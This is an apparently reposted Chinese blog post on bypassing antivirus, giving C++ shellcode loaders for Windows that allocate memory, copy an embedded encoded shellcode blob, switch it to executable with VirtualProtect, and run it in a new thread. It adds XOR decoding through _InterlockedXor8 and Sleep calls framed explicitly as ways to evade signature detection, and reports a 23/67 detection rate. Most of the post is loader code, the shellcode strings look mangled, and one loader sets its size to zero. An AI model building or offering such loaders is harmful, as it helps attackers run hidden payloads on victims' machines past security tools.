Windows内存操作
Windows操作系统的内存有三种属性,分别为:可读、可写、可执行,并且操作系统将每个进程的内存都隔离开来,当进程运行时,创建一个虚拟的内存空间,系统的内存管理器将虚拟内存空间映射到物理内存上,所以每个进程的内存都是等大的。
在进程申请时,需要声明这块内存的基本信息:申请内存大小、申请内存起始内存基址、申请内存属性、申请内存对外的权限等。
申请方式:
HeapAlloc
malloc
VirtualAlloc
new
LocalAlloc
其实以上所有的内存申请方式都与VirtualAlloc有关,因为VirtualAlloc申请的单位是“页”。而Windows操作系统管理内存的单位也是“页”。
C++
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| #include <Windows.h>
// 入口函数 int wmain(int argc, TCHAR* argv[]) {
int shellcode_size = 0; // shellcode长度 DWORD dwThreadId; // 线程ID HANDLE hThread; // 线程句柄 /* length: 800 bytes */ unsigned char buf[] = "xf6xe2x88xaxaxax6ax83xefx3bxcax6ex81x5ax3ax81x58x6x81x58x1ex81x78x22x5xbdx40x2cx3bxf5xa6x36x6bx76x8x26x2axcbxc5x7xbxcdxe8xf8x58x5dx81x58x1ax81x40x36x81x46x1bx72xe9x42xbxdbx5bx81x53x2axbxd9x81x43x12xe9x30x43x81x3ex81xbxdcx3bxf5xa6xcbxc5x7xbxcdx32xeax7fxfcx9x77xf2x31x77x2ex7fxeex52x81x52x2exbxd9x6cx81x6x41x81x52x16xbxd9x81xex81xbxdax83x4ex2ex2ex51x51x6bx53x50x5bxf5xeax55x55x50x81x18xe1x87x57x60xbx87x8fxb8xaxaxax5ax62x3bx81x65x8dxf5xdfxb1xfaxbfxa8x5cx62xacx9fxb7x97xf5xdfx36xcx76x0x8axf1xeax7fxfxb1x4dx19x78x65x60xax59xf5xdfx69x6bx66x69x24x6fx72x6fxaxa"; int shellcodesize = sizeof(buf); // 获取shellcode大小
/* VirtualAlloc函数,在调用进程的虚拟地址空间中保留、提交或更改页面区域的状态。 VirtualAlloc( NULL, // 基址 800, // 大小 MEM_COMMIT, // 内存页状态 PAGE_EXECUTE_READWRITE // 可读可写可执行 ); 如果函数成功,则返回值是分配的页面区域的基地址。 如果函数失败,则返回值为NULL。要获取扩展的错误信息,请调用GetLastError。 */ char* shellcode = (char*)VirtualAlloc( NULL, shellcode_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); // 将shellcode复制到可执行的内存页中 //CopyMemory将一块内存从一个位置复制到另一个位置。可能会造成缓冲区溢出 /* void CopyMemory( _In_ PVOID 指向复制块目标起始地址的指针, _In_ const VOID 指向要复制的内存块的起始地址的指针, _In_ SIZE_T 长度, ); */ CopyMemory(shellcode, buf, shellcode_size); //CreateThread函数,创建线程 hThread = CreateThread( NULL, // 安全描述符 NULL, // 栈的大小 (LPTHREAD_START_ROUTINE)shellcode, // 函数 NULL, // 参数 NULL, // 线程标志 &dwThreadId // 若成功,接收新创建的线程的线程ID DWORD变量的地址。 ); //通过调用 WaitForSingleObject 函数来监视事件状态,当事件设置为终止状态(WaitForSingleObject 返回 WAIT_OBJECT_0)时,每个线程都将自行终止执行。 WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束 return 0; }
|
内存申请优化
申请内存页时,可以在Shellcode读入时,申请一个普通的可读写的内存页,然后再通过VirtualProtect改变它的属性 -> 可执行。这样也能规避掉一些特征查杀。
C++
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| int wmain(int argc, TCHAR* argv[]) { int shellcode_size = 0; //shellcode长度 DWORD dwThreadId;//线程Id HANDLE hThread;//线程句柄 DWORD dwOldProtect;//内存页属性
unsigned char buf[] = ""; shellcode_size = sizeof(buf); for (int i = 0; i < shellcode_size; i++) { buf[i] ^= 10; }
char* shellcode = (char*)VirtualAlloc( NULL, shellcode_size, MEM_COMMIT, PAGE_READWRITE //只申请可读可写 ); CopyMemory(shellcode, buf, shellcode_size); //将shellcode复制到可读可写的内存中 //VirtualProtect 的 Win32 实现将更改对调用进程的虚拟地址空间中已提交页面区域的保护。 /* HRESULT VirtualProtect ( [in] void* lpAddress,//一个指针,指向要更保护属性的虚拟内存的基址 [in] SIZE_T dwSize,//要更改的内存页面区域的大小(以字节为单位)。 [in] DWORD flNewProtect, //要应用的内存保护的类型。 [out] DWORD* pflOldProtect //一个指针,该指针指向前一个内存保护值。 ); */ VirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect); //更改属性为可执行 hThread = CreateThread( NULL, // 安全描述符 NULL, // 栈的大小 (LPTHREAD_START_ROUTINE)shellcode, // 函数 NULL, // 参数 NULL, // 线程标志 &dwThreadId // 线程ID );
WaitForSingleObject(hThread, INFINITE); return 0;
}
|
异或方式优化
通常,我们使用循环去进行异或运算,会使用到异或运算符,这里是较为敏感的操作。InterlockedXorRelease函数可以用于两个值的异或运算,最重要的一点就是,它的操作是原子的,也就是可以达到线程同步。
C++
1 2 3 4 5 6 7
| char buf[] = "x4dx59x3exb1xb1xb1xd1x80x63x38x54xd5x3axe3x81x3axe3xbdx3axe3xa5x3axc3x99x80x4exbex6xfbx97x80x71x1dx8dxd0xcdxb3x9dx91x70x7exbcxb0x76xf8xc4x5exe3x3axe3xa1xe6x95xbex34xc1x4ex4ex4ex58x2ax4ex4ex4exb0x72x98x77xc4x70x72xax41x4x13xe7xdbxb1xe2x4ex64xb1"; shellcode_size = sizeof(buf); for (int i = 0; i < shellcode_size; i++) { Sleep(1); _InterlockedXor8(buf+i, 177); }
|
完整代码
C++
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| #include<Windows.h> int wmain(int argc, TCHAR* argv[]) { int shellcode_size = 0; DWORD dwThreadId; //线程id HANDLE hThread;//线程句柄 DWORD dwOldProtect; //内存页属性
char buf[] = "x66x72x18x9ax9ax9axfax13x7fxabx5axfex11xcaxaax11xc8x96x11xc8x8ex11xe8xb2x95x2dxd0xbcxabx65x36xa6xfbxe6x98xb6xbax5bx55x97x9bx5dx78x68xc8xcdx11xc8x8ax11xd0xa6x11xd6x8bxe2x79xd2x9bx4bxcbx11xc3xbax9bx49x11xd3x82x79xa0xd3x11xaex11x9bx4cxabx65x36x5bx55x97x9bx5dxa2x7axefx6cx99xe7x62xa1xe7xbexefx7exc2x11xc2xbex9bx49xfcx11x96xd1x11xc2x86x9bx49x11x9ex11x9bx4ax13xdexbexbexc1xc1xfbxc3xc0xcbx65x7axc5xc5xc0x11x88x71x17xc7xf0x9bx17x1fx28x9ax9ax9axcaxf2xabx11xf5x1dx65x4fx21x6ax2fx38xccxf2x3cxfx27x7x65x4fxa6x9cxe6x90x1ax61x7axefx9fx21xddx89xe8xf5xf0x9axc9x65x4fxf9xfbxf6xf9xb4xffxe2xffx9ax9a"; shellcode_size = sizeof(buf); for (int i = 0; i < shellcode_size; i++) { _InterlockedXor8(buf + i, 7834); } char* shellcode = (char*)VirtualAlloc( NULL,//基址 shellcode_size, //大小 MEM_COMMIT, //内存页状态 PAGE_READWRITE //可读可写可执行 );
CopyMemory(shellcode, buf, shellcode_size); VirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect); Sleep(2000); hThread = CreateThread( NULL, // 安全描述符 NULL, // 栈的大小 (LPTHREAD_START_ROUTINE)shellcode, // 函数 NULL, // 参数 NULL, // 线程标志 &dwThreadId // 线程ID ); WaitForSingleObject(hThread, INFINITE); return 0; }
|
相比直接申请内存执行,免杀效果好了一些。但远不能让人满意,将shellcode置空,直接对加载器进行查杀,查杀率为23/67,C++申请内存执行的特征太明显。
文章作者: LuckyFuture
文章链接: http://luckyfuture.top/BypassAVLearning.html
该内容转载自网络,更多内容请点击“阅读原文”
还没有评论,来说两句吧...